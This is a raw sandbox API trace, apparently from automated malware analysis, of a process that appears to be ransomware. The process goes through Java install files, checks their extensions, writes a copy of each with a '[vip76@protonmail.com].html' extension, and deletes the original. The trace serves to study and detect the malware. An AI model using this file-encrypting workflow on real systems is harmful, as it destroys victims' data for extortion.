	[0065.049] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0065.049] lstrlenW (lpString=".xls") returned 4
	[0065.049] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0065.049] lstrlenW (lpString=".xlsx") returned 5
	[0065.049] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0065.049] lstrlenW (lpString=".ppt") returned 4
	[0065.049] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0065.049] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.049] lstrlenW (lpString=".zip") returned 4
	[0065.049] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0065.049] lstrlenW (lpString=".rar") returned 4
	[0065.049] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0065.049] lstrlenW (lpString=".bz2") returned 4
	[0065.049] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0065.049] lstrlenW (lpString=".7z") returned 3
	[0065.049] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0065.049] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.049] lstrlenW (lpString=".dbf") returned 4
	[0065.049] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0065.049] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.050] lstrlenW (lpString=".1cd") returned 4
	[0065.050] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0065.050] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.050] lstrlenW (lpString=".jpg") returned 4
	[0065.050] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0065.050] lstrcmpiW (lpString1=".txt", lpString2=".html") returned 1
	[0065.050] lstrlenW (lpString="Xusage.txt") returned 10
	[0065.050] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.050] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1423) returned 1
	[0065.050] CloseHandle (hObject=0x328) returned 1
	[0065.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20
	[0065.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.050] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.051] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.051] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.051] GetLastError () returned 0x0
	[0065.051] ReadFile (in: hFile=0x328, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x58f, lpOverlapped=0x0) returned 1
	[0065.098] WriteFile (in: hFile=0x338, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x590, lpOverlapped=0x0) returned 1
	[0065.099] ReadFile (in: hFile=0x328, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.099] WriteFile (in: hFile=0x338, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0065.099] SetEndOfFile (hFile=0x338) returned 1
	[0065.099] CloseHandle (hObject=0x338) returned 1
	[0065.101] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.101] SetEndOfFile (hFile=0x328) returned 1
	[0065.102] CloseHandle (hObject=0x328) returned 1
	[0065.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.102] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1
	[0065.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.102] lstrlenW (lpString=".doc") returned 4
	[0065.102] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0065.102] lstrlenW (lpString=".docx") returned 5
	[0065.102] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0065.102] lstrlenW (lpString=".pdf") returned 4
	[0065.102] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0065.102] lstrlenW (lpString=".xls") returned 4
	[0065.102] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0065.102] lstrlenW (lpString=".xlsx") returned 5
	[0065.103] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0065.103] lstrlenW (lpString=".ppt") returned 4
	[0065.103] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0065.103] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.261] lstrlenW (lpString=".zip") returned 4
	[0065.261] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0065.261] lstrlenW (lpString=".rar") returned 4
	[0065.261] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0065.261] lstrlenW (lpString=".bz2") returned 4
	[0065.261] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0065.261] lstrlenW (lpString=".7z") returned 3
	[0065.261] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0065.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.262] lstrlenW (lpString=".dbf") returned 4
	[0065.262] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.262] lstrlenW (lpString=".1cd") returned 4
	[0065.262] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.262] lstrlenW (lpString=".jpg") returned 4
	[0065.262] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.262] lstrlenW (lpString=".doc") returned 4
	[0065.262] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString=".docx") returned 5
	[0065.262] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0065.262] lstrlenW (lpString=".pdf") returned 4
	[0065.262] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString=".xls") returned 4
	[0065.262] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0065.262] lstrlenW (lpString=".xlsx") returned 5
	[0065.262] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0065.262] lstrlenW (lpString=".ppt") returned 4
	[0065.262] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.262] lstrlenW (lpString=".zip") returned 4
	[0065.262] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0065.262] lstrlenW (lpString=".rar") returned 4
	[0065.262] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString=".bz2") returned 4
	[0065.262] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0065.262] lstrlenW (lpString=".7z") returned 3
	[0065.262] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0065.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.263] lstrlenW (lpString=".dbf") returned 4
	[0065.263] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0065.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.263] lstrlenW (lpString=".1cd") returned 4
	[0065.263] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0065.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0065.263] lstrlenW (lpString=".jpg") returned 4
	[0065.263] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0065.263] lstrcmpiW (lpString1=".zip", lpString2=".html") returned 1
	[0065.263] lstrlenW (lpString="ffjcext.zip") returned 11
	[0065.263] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.266] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=14156) returned 1
	[0065.266] CloseHandle (hObject=0x358) returned 1
	[0065.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20
	[0065.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.269] GetLastError () returned 0x0
	[0065.269] ReadFile (in: hFile=0x358, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x374c, lpOverlapped=0x0) returned 1
	[0065.271] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x3750, lpOverlapped=0x0) returned 1
	[0065.273] ReadFile (in: hFile=0x358, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.273] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xea, lpOverlapped=0x0) returned 1
	[0065.273] SetEndOfFile (hFile=0x364) returned 1
	[0065.273] CloseHandle (hObject=0x364) returned 1
	[0065.275] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.275] SetEndOfFile (hFile=0x358) returned 1
	[0065.277] CloseHandle (hObject=0x358) returned 1
	[0065.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.277] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1
	[0065.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0065.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0065.277] lstrlenW (lpString=".doc") returned 4
	[0065.277] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0065.277] lstrlenW (lpString=".docx") returned 5
	[0065.277] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0065.277] lstrlenW (lpString=".pdf") returned 4
	[0065.277] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0065.277] lstrlenW (lpString=".xls") returned 4
	[0065.277] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0065.277] lstrlenW (lpString=".xlsx") returned 5
	[0065.277] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0065.278] lstrlenW (lpString=".ppt") returned 4
	[0065.278] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0065.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0065.278] lstrlenW (lpString=".zip") returned 4
	[0065.278] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0065.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0065.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0065.278] lstrlenW (lpString=".doc") returned 4
	[0065.278] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0065.278] lstrlenW (lpString=".docx") returned 5
	[0065.278] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0065.278] lstrlenW (lpString=".pdf") returned 4
	[0065.278] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0065.278] lstrlenW (lpString=".xls") returned 4
	[0065.278] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0065.278] lstrlenW (lpString=".xlsx") returned 5
	[0065.278] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0065.278] lstrlenW (lpString=".ppt") returned 4
	[0065.278] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0065.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0065.278] lstrlenW (lpString=".zip") returned 4
	[0065.278] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0065.278] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.278] lstrlenW (lpString="splash.gif") returned 10
	[0065.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.279] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=8590) returned 1
	[0065.279] CloseHandle (hObject=0x358) returned 1
	[0065.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20
	[0065.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.280] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.280] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.280] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.280] GetLastError () returned 0x0
	[0065.280] ReadFile (in: hFile=0x358, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x218e, lpOverlapped=0x0) returned 1
	[0065.303] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0065.304] ReadFile (in: hFile=0x358, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.304] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0065.305] SetEndOfFile (hFile=0x364) returned 1
	[0065.305] CloseHandle (hObject=0x364) returned 1
	[0065.306] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.306] SetEndOfFile (hFile=0x358) returned 1
	[0065.307] CloseHandle (hObject=0x358) returned 1
	[0065.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.308] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1
	[0065.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.308] lstrlenW (lpString=".doc") returned 4
	[0065.308] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.308] lstrlenW (lpString=".docx") returned 5
	[0065.308] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0065.308] lstrlenW (lpString=".pdf") returned 4
	[0065.308] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.308] lstrlenW (lpString=".xls") returned 4
	[0065.308] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.308] lstrlenW (lpString=".xlsx") returned 5
	[0065.309] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0065.309] lstrlenW (lpString=".ppt") returned 4
	[0065.309] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.309] lstrlenW (lpString=".zip") returned 4
	[0065.309] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.309] lstrlenW (lpString=".rar") returned 4
	[0065.309] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.309] lstrlenW (lpString=".bz2") returned 4
	[0065.309] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.309] lstrlenW (lpString=".7z") returned 3
	[0065.309] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.309] lstrlenW (lpString=".dbf") returned 4
	[0065.309] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.309] lstrlenW (lpString=".1cd") returned 4
	[0065.309] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.309] lstrlenW (lpString=".jpg") returned 4
	[0065.309] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.309] lstrlenW (lpString=".doc") returned 4
	[0065.309] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.309] lstrlenW (lpString=".docx") returned 5
	[0065.309] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0065.309] lstrlenW (lpString=".pdf") returned 4
	[0065.309] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.309] lstrlenW (lpString=".xls") returned 4
	[0065.309] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.309] lstrlenW (lpString=".xlsx") returned 5
	[0065.310] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0065.310] lstrlenW (lpString=".ppt") returned 4
	[0065.310] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.310] lstrlenW (lpString=".zip") returned 4
	[0065.310] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.310] lstrlenW (lpString=".rar") returned 4
	[0065.310] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.310] lstrlenW (lpString=".bz2") returned 4
	[0065.310] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.310] lstrlenW (lpString=".7z") returned 3
	[0065.310] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.310] lstrlenW (lpString=".dbf") returned 4
	[0065.310] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.310] lstrlenW (lpString=".1cd") returned 4
	[0065.310] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0065.310] lstrlenW (lpString=".jpg") returned 4
	[0065.310] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.310] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.310] lstrlenW (lpString="splash@2x.gif") returned 13
	[0065.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.311] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=15276) returned 1
	[0065.311] CloseHandle (hObject=0x358) returned 1
	[0065.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20
	[0065.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
